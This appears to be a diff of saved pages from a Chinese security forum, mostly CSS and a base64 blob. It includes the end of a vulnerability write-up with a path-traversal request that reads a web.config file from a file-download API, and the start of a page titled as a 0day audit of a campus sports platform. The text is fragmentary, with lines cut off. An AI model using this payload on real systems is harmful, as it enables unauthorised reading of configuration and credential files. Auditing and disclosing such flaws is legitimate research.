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 truncated
|
||||
<p blockindex=56>pathType同样是选择不同的路径,可以用requestFileName进行路径穿越读到我们想要的文件</p>
|
||||
<p blockindex=57>payload:</p>
|
||||
<pre blockindex=58><code class="hljs language-php">POST /api/files/DownloadFile HTTP/<span class=hljs-number>1.1</span>
|
||||
|
||||
token=zxh&requestFileName=../../manager/web.config&pathType=<span class=hljs-number>1</span>
|
||||
</code></pre></div></div>
|
||||
</div>
|
||||
<div class="post-opt mt-30">
|
||||
<ul class="list-inline text-muted">
|
||||
<li>
|
||||
<i class="fa fa-clock-o"></i>
|
||||
发表于 2024-03-04 10:11:05
|
||||
</li>
|
||||
|
||||
|
||||
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,352 @@
|
||||
<!DOCTYPE html> <html lang=en style><!--
|
||||
Page saved with SingleFile
|
||||
url: https://xz.aliyun.com/t/13866
|
||||
--><meta charset=utf-8>
|
||||
<title>某通用系统0day审计过程(步道乐跑校园智慧体育管理平台)</title>
|
||||
<meta name=description content=先知社区,先知安全技术社区>
|
||||
<meta name=viewport content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
|
||||
<style>/*!
|
||||
* Bootstrap v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}footer{display:block}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover,a:active{outline:0}img{height:auto;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic}input{margin:0}button{-webkit-appearance:button}body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:20px;color:#333}a{text-decoration:none}a:hover,a:focus{color:#005580;text-decoration:underline}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}.container{width:940px}.span10{width:780px}.container{margin-right:auto;margin-left:auto}.container:before,.container:after{display:table;line-height:0;content:""}.container:after{clear:both}p{margin:0 0 10px}strong{font-weight:bold}.text-right{text-align:right}.text-center{text-align:center}h1,h2,h4{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility}h4{font-size:17.5px}ul{padding:0}hr{margin:20px 0;border:0;border-top:1px solid #eee;border-bottom:1px solid #fff}code,pre{color:#333;-webkit-border-radius:3px;-moz-border-radius:3px}code{color:#d14}pre{display:block;margin:0 0 10px;white-space:pre-wrap;border:1px solid rgba(0,0,0,0.15);-webkit-border-radius:4px;-moz-border-radius:4px}input{font-weight:normal}input{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}input[type="text"]{display:inline-block;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;vertical-align:middle;-webkit-border-radius:4px;-moz-border-radius:4px}input{width:206px}input[type="text"]{background-color:#fff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s}textarea:focus,input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus,.uneditable-input:focus{border-color:rgba(82,168,236,0.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6)}input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#999}input{margin-left:0}input:focus:invalid,textarea:focus:invalid,select:focus:invalid{color:#b94a48;border-color:#ee5f5b}input:focus:invalid:focus,textarea:focus:invalid:focus,select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7}.fade{opacity:0;-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-o-transition:opacity .15s linear}.collapse{position:relative;-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.btn{text-shadow:0 1px 1px rgba(255,255,255,0.75);vertical-align:middle;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;border:1px solid #ccc;border-bottom-color:#b3b3b3;-webkit-border-radius:4px;-moz-border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05)}.btn:hover,.btn:focus,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{color:#333;background-color:#e6e6e6;*background-color:#d9d9d9}.btn:active,.btn.active{background-color:#ccc \9}.btn:first-child{*margin-left:0}.btn:hover,.btn:focus{color:#333;text-decoration:none;background-position:0-15px;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear}.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,0Line truncated
|
||||
<style>/*! Editor.md v1.5.0 | editormd.min.css | Open source online markdown editor. | MIT License | By: Pandao | https://github.com/pandao/editor.md | 2015-06-09 *//*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
|
||||
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*! github-markdown-css | The MIT License (MIT) | Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com) | https://github.com/sindresorhus/github-markdown-css */.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;overflow:hidden}.markdown-body *{-moz-box-sizing:border-box}.markdown-body a:active,.markdown-body a:hover{outline:0;text-decoration:underline}.markdown-body>:first-child{margin-top:0 !important}.markdown-body>:last-child{margin-bottom:0 !important}.markdown-body img{-moz-box-sizing:border-box}.markdown-body code:after,.markdown-body code:before{letter-spacing:-.2em;content:" "}/*! Pretty printing styles. Used with prettify.js. */@media screen{}@media screen{}</style>
|
||||
<style>/*!
|
||||
* Bootstrap Responsive v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}@-ms-viewport{width:device-width}@media(min-width:768px) and (max-width:979px){}@media(max-width:767px){}@media(min-width:1200px){.row{margin-left:-30px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:30px}.container{width:1170px}.span10{width:970px}input{margin-left:0}}@media(min-width:768px) and (max-width:979px){.row{margin-left:-20px}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:20px}.container{width:724px}.span10{width:600px}input{margin-left:0}}@media(max-width:767px){body{padding-right:0px;padding-left:0px}.container{width:auto}.row{margin-left:0}[class*="span"]{display:block;float:none;width:100%;margin-left:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.modal{position:fixed;right:20px;left:20px;width:auto;margin:0}.modal.fade{top:-100px}}@media(max-width:480px){.nav-collapse{-webkit-transform:translate3d(0,0,0)}.modal{top:10px;right:10px;left:10px}}@media(max-width:979px){body{padding-top:0}.navbar .container{width:auto;padding:0}.navbar .brand{padding-right:10px;padding-left:10px}.nav-collapse{clear:both}.nav-collapse.collapse{height:0;overflow:hidden}}@media(min-width:980px){.nav-collapse.collapse{height:auto !important;overflow:visible !important}}</style>
|
||||
<style>li{line-height:26px}a:hover{text-decoration:none}.post-user-action>span{margin-right:10px;line-height:21px;border:0}.post-user-action .i-seprator{color:rgba(0,0,0,0.1);margin:0 2px}.navbar .brand{padding:0;height:50px;margin-left:0;display:inline-block !important;background-repeat:no-repeat;width:120px;background-size:207px 50px;background-image:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPCEtLSBHZW5lcmF0b3I6IEFkb2JlIElsbHVzdHJhdG9yIDIxLjEuMCwgU1ZHIEV4cG9ydCBQbHVnLUluIC4gU1ZHIFZlcnNpb246IDYuMDAgQnVpbGQgMCkgIC0tPgo8c3ZnIHZlcnNpb249IjEuMSIgaWQ9IuWbvuWxgl8xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB4PSIwcHgiIHk9IjBweCIKCSB2aWV3Qm94PSIwIDAgODAwLjQgMTMwLjQiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDgwMC40IDEzMC40OyIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Cgkuc3Qwe2ZpbGw6IzM3M0Q0MTt9Cjwvc3R5bGU+Cjx0aXRsZT7lhYjnn6XmioDmnK/npL7ljLo8L3RpdGxlPgo8Zz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iMCwxMjEuNCAwLDI3LjMgNTYuMywyNy4zIAkiLz4KCTxwb2x5Z29uIGNsYXNzPSJzdDAiIHBvaW50cz0iODkuOSw4LjQgODkuOSwxMDIuNSAzMy41LDEwMi41IAkiLz4KPC9nPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMTMwLjcsNTguNGMtMi4zLTEuNC00LjctMi45LTcuMi00LjVjNi02LjksMTAuNy0xNi4yLDE0LjEtMjcuOWw4LjMsMS43Yy0wLjcsMS42LTEuNiwzLjktMi44LDYuOQoJYy0wLjcsMi4zLTEuMywzLjktMS43LDQuOGgxNy41VjI0aDguM3YxNS41aDI5LjZWNDdoLTI5LjZ2MTUuMWgzNC43VjcwaC0yNi41djIxLjNjLTAuMiwzLjQsMS42LDUsNS41LDQuOGg3LjIKCWMzLjIsMC4yLDUuMy0xLjMsNi4yLTQuNWMwLjItMS40LDAuNS00LjEsMC43LTguM2MwLDAuNywwLjEtMC4xLDAuMy0yLjRsNy42LDIuOGMtMC4yLDQuMS0wLjcsNy45LTEuNCwxMS40CgljLTEuNiw2LTUuOCw4LjgtMTIuNyw4LjZoLTEwLjdjLTcuNiwwLjItMTEuMi0zLjItMTEtMTAuM1Y3MC4xaC0xNS44djMuMWMwLDE1LjQtOS4xLDI2LjQtMjcuMiwzM2MtMS40LTIuMS0zLTQuNi00LjgtNy42CglDMTM1LjEsOTQsMTQzLDg1LjQsMTQzLDcyLjhWNzBoLTIyLjd2LTcuOWgzOC41VjQ3aC0yMS4zQzEzNS41LDUxLjEsMTMzLjIsNTQuOSwxMzAuNyw1OC40eiIvPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMjEzLjIsNTQuNmMtMC41LTAuMi0xLjItMC43LTIuMS0xLjRjLTEuOC0xLjQtMy4yLTIuMy00LjEtMi44YzQuOC04LjksOC4xLTE3LjksMTAtMjYuOGw3LjYsMS40CgljLTAuNSwxLjgtMS4zLDQuNC0yLjQsNy42Yy0wLjIsMS4yLTAuNSwyLTAuNywyLjRoMjQuMXY3LjJoLTEyYzAsOC43LTAuMSwxNC45LTAuMywxOC42aDE0LjFWNjhoLTE0LjhjMCwyLjMtMC4yLDQuNS0wLjcsNi41CgljMS42LDEuNiwzLjgsNCw2LjUsNy4yYzQuNiw0LjgsOCw4LjYsMTAuMywxMS40bC01LjgsNS4yYy0wLjktMS4yLTIuMy0yLjgtNC4xLTQuOGMtMS44LTIuMy00LjgtNS44LTguOS0xMC43CgljLTIuNSw3LjgtOC40LDE1LjUtMTcuNSwyMy4xYy0yLjMtMi44LTQuMS00LjgtNS41LTYuMmMxMS4yLTguOSwxNy4zLTE5LjUsMTguMi0zMS43aC0xNy4ydi03LjJoMTcuNWMwLjItMy45LDAuMy0xMC4xLDAuMy0xOC42CgloLTYuOUMyMTcuMSw0Ni4zLDIxNS4zLDUwLjQsMjEzLjIsNTQuNnogTTI1MS40LDEwMi43VjMxLjloMzUuOHY3MC41aC04LjN2LTcuNmgtMTkuNnY3LjlDMjU5LjMsMTAyLjcsMjUxLjQsMTAyLjcsMjUxLjQsMTAyLjd6CgkgTTI1OS4zLDM5LjR2NDcuOGgxOS42VjM5LjRIMjU5LjN6Ii8+CjxwYXRoIGNsYXNzPSJzdDAiIGQ9Ik0yOTcuMiw4MS4xYy0wLjItMC45LTAuNi0yLjMtMS00LjFjLTAuNy0xLjgtMS4yLTMuMi0xLjQtNC4xYzkuMi02LjIsMTYuNC0xNC4zLDIxLjctMjQuNGgtMTkuNnYtNi45aDI3LjV2Ny4yCgljLTIuNSw1LjUtNS40LDEwLjQtOC42LDE0Ljh2NDIuM2gtNy42VjcyLjFDMzA1LDc1LjEsMzAxLjQsNzguMSwyOTcuMiw4MS4xeiBNMzExLjcsNDAuNWMtMC4yLTAuNS0wLjYtMS4xLTEtMi4xCgljLTIuOC02LTQuNi05LjctNS41LTExLjRsNi45LTMuMWMwLjcsMS4yLDEuOCwzLjMsMy40LDYuNWMxLjYsMywyLjgsNS4yLDMuNCw2LjVMMzExLjcsNDAuNXogTTMyNi44LDgwLjcKCWMtMS42LTIuMS00LjctNS42LTkuMy0xMC43Yy0wLjItMC4yLTAuNS0wLjUtMC43LTAuN2w0LjgtNC41YzIuMSwxLjgsNC45LDQuNiw4LjYsOC4zYzEuMSwxLjIsMS45LDIsMi40LDIuNEwzMjYuOCw4MC43egoJIE0zMjguNSw1Ni42VjQ5aDE4LjZWMjQuM2g4LjN2MjQuOEgzNzV2Ny42aC0xOS42djM5LjJoMjIuNHY2LjloLTUzdi02LjloMjIuNFY1Ni42SDMyOC41eiIvPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMzg5LjgsMTAxLjRWMjkuMUg0NjJ2Ny42aC02NC4zdjU3LjhoNjUuN3Y2LjlIMzg5Ljh6IE00NTAuMyw5MC40Yy02LjItNi42LTEyLjYtMTMtMTkuMy0xOC45CgljLTYsNS43LTEzLjQsMTIuMy0yMi40LDE5LjZjLTEuNC0xLjYtMy40LTMuOC02LjItNi41YzguMy01LjcsMTUuOC0xMiwyMi43LTE4LjljLTYuOS02LjQtMTMuOC0xMi43LTIwLjYtMTguOWw2LjItNS4yTDQzMSw2MC4yCgljNS41LTYuMiwxMC45LTEyLjgsMTYuMi0yMGw3LjIsNC41Yy01LjcsNy42LTExLjYsMTQuNC0xNy41LDIwLjZjNi45LDYuNywxMy42LDEzLDIwLjMsMTguOUw0NTAuMyw5MC40eiIvPgo8L3N2Zz4K)}.brand-box{position:absolute}.related-section{min-height:42px;padding:5px 0;margin-top:25px;border-top:1px solid #eee}.related-section>.related-box{margin-top:17px}.related-section>.related-box>span{display:inline-block;padding:3px}.related-section>.related-box>span:nth-child(1){width:47%}.related-section>.related-box>span:nth-child(2){border-left:1px solid #eee;padding-left:8px;float:right;width:46%}.related-box .related-label{padding:3px 4px;margin-right:3px}@media screen{.navbar{margin-bottom:12px;overflow:visible}}@media screen and (min-width:1950px){}@media screen and (min-width:1660px) and (max-width:1945px){}@media screen and (min-width:1350px) and (max-width:1659px){}@media screen and (min-width:1100px) and (max-width:1349px){}@media only screen and (max-width:1100px){}@media only screen and (min-width:768px){}@media only screen and (max-width:736px){.brand{margin:0 auto}.brand-box{left:15px}}@media screen and (min-width:768px) and (max-width:1219px){}@media only screen and (min-width:320px) and (max-width:374px){}@media onlLine truncated
|
||||
<style>a{color:#778087}.topic-list p{margin:0}.topic-content{min-height:40px}.collapse form{position:relative;width:300px;float:right}div.search{padding:10px 0}.d1 input{height:20px;padding-left:18px;border:1px solid #ddd;border-radius:15px;outline:0;background:#fff;color:#9e9c9c;float:right}.vote{font-weight:normal;margin-left:6px}.topic-list{word-break:break-all;word-wrap:break-word}ul{margin:0 0 10px 0}/*!*border-bottom: solid #eee 1px;*!*/.user-info{padding:5px 0 5px 0}.topic-info a,.topic-info{padding-top:5px}.topic-info a:hover{text-decoration:solid}.reminder{min-height:200px;border:1px #ddd solid;border-radius:3px;line-height:200px;text-align:center}</style>
|
||||
<style>body{background-color:#eee}img{max-width:100%}form{margin:0 !important}a:focus{text-decoration:none}.markdown-body p>code{white-space:normal;word-break:break-all;border:none !important}.box ul,ol{margin-bottom:0px !important}.box a:hover{text-decoration:none}.box-container>ul>li{list-style-type:none}#Wrapper .row.box{margin-left:0px}.navbar-inner{border-radius:0px;min-height:40px;padding-right:0px;padding-left:0px;outline:0;margin-bottom:0;list-style:none;z-index:1050;background:#fff;-webkit-box-shadow:0 1px 4px rgba(0,21,41,0.08);box-shadow:0 1px 4px rgba(0,21,41,0.08);line-height:46px;-webkit-transition:background .3s,width .2s;-o-transition:background .3s,width .2s;transition:background .3s,width .2s}.bs-docs-footer{text-align:left;color:#99979c;height:64px;background-color:#FFF;border-top:1px solid rgba(0,0,0,0.22);line-height:64px}.bs-docs-footer .links>a{display:inline-block;padding:0 12px;border-left:1px solid #e8e8e8;color:#8c8c8c;line-height:1}.bs-docs-footer .links>a:first-child{border-left:0}.box-container .user-info{margin-bottom:10px;background:#fff}.content-title{font-size:24px;color:#333;text-decoration:none;line-height:24px;text-shadow:0 1px 0#fff}.markdown-body h1,.markdown-body h2{border-bottom:0}.box-container{padding:20px}.breadcrumb{padding:8px 10px 8px 15px;margin-bottom:10px;border-radius:0;color:#000;background-color:#fff}.breadcrumb>li{text-shadow:none !important;margin:2px 0px}.active{text-shadow:none !important}.breadcrumb .active{color:#555;display:inline-block;text-shadow:none !important}.label{background-color:#f4f4f4;line-height:12px;display:inline-block;padding:4px 4px 4px 4px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;text-decoration:none;text-shadow:none;font-weight:normal}.topic-info{color:#999 !important;font-size:12px !important}.topic-info a{padding:0px;color:#555 !important;font-size:12px !important}.topic-info a:hover{color:#4d5256;text-decoration:underline}.topic-info .cell{padding-left:0 !important;margin-left:0px;font-size:10px;font-weight:bold}.markdown-body img{max-width:90% !important;text-align:center;margin-left:auto;margin-right:auto;display:block;padding:10px 0px 10px 0px}.topic-info span{margin-left:0px;font-size:10px;color:rgba(0,0,0,0.45)}.btn{display:inline-block;padding:4px 12px;margin-bottom:0;font-size:14px;line-height:20px;background-color:#f4f4f4;color:#444;border-color:#ddd;font-family:"Helvetica Neue For Number",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"PingFang SC","Hiragino Sans GB","Microsoft YaHei","Helvetica Neue",Helvetica,Arial,sans-serif;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;list-style:none;font-weight:400;text-align:center;cursor:pointer;background-image:none;white-space:nowrap;border-radius:2px;height:32px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none}.box{font-family:Monospaced Number,Chinese Quote,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:14px;line-height:1.5;color:rgba(0,0,0,0.65);-webkit-box-sizing:border-box;box-sizing:border-box;margin-top:0 !important;margin-bottom:20px;padding:0;list-style:none;background:#fff;border-radius:2px;position:relative;-webkit-transition:all .3s;-o-transition:all .3s;transition:all .3s;-moz-box-shadow:0 1px 1px rgba(0,0,0,0.15);-webkit-box-shadow:0 1px 1px rgba(143,168,191,.35);box-shadow:0 1px 1px rgba(143,168,191,.35);border-bottom:1px solid #e2e2e9}.span10{float:left;min-height:1px}#Wrapper .span10{margin-left:0px !important;max-width:960px}@media(min-width:1200px){.container{width:82% !important}}@media screen and (min-width:1500px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px !important}#Wrapper .span10{max-width:810px !important}}@media screen and (min-width:980px) and (max-width:1499px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{max-width:1100px !important}#Wrapper .span10{max-width:74% !important}}@media screen and (min-width:768px) and (max-width:979px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:90% !important}#Wrapper .span10{width:77% !important}.nav-collapse{clear:none !important;height:auto !important;overflow:auto !important;float:right}}@media screen and (max-width:767px){#Wrapper.container,.navbar .navbar-inner .container,.bs-docs-footer .container{width:100% !important}.topic-info .info-left,.topic-info .info-right{display:block}.topic-info .info-right{margin-top:10px}.topic-info span{margin-left:0px}}@media screen and (max-width:419px){body{padding-left:0px !important;padding-right:0px !important}}.content-node{padding-left:5px}@media(max-width:979px){.content-node{display:none}.t-vote{display:none !important}}@media(max-width:376px){}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}</style>
|
||||
<style>/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
|
||||
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/.pull-right{float:right}.pull-left{float:left}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*! github-markdown-css | The MIT License (MIT) | Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com) | https://github.com/sindresorhus/github-markdown-css */.markdown-body{color:#333;font-family:Monospaced Number,Chinese Quote,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,PingFang SC,Hiragino Sans GB,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:15px;line-height:24px;letter-spacing:.05em;word-wrap:break-word}.markdown-body a{background:transparent}.markdown-body a:active,.markdown-body a:hover{outline:0}.markdown-body h1{margin:.67em 0}.markdown-body img{border:0}.markdown-body pre{font-family:"Meiryo UI","YaHei Consolas Hybrid",Consolas,"Malgun Gothic","Segoe UI","Trebuchet MS",Helvetica,monospace,monospace}.markdown-body *{-moz-box-sizing:border-box;box-sizing:border-box}.markdown-body a{color:#4183c4;text-decoration:none}.markdown-body a:hover,.markdown-body a:active{text-decoration:underline}.markdown-body code{font-family:Consolas,"Liberation Mono",Menlo,Courier,monospace}.markdown-body pre{font:12px Consolas,"Liberation Mono",Menlo,Courier,monospace}.markdown-body>*:first-child{margin-top:0 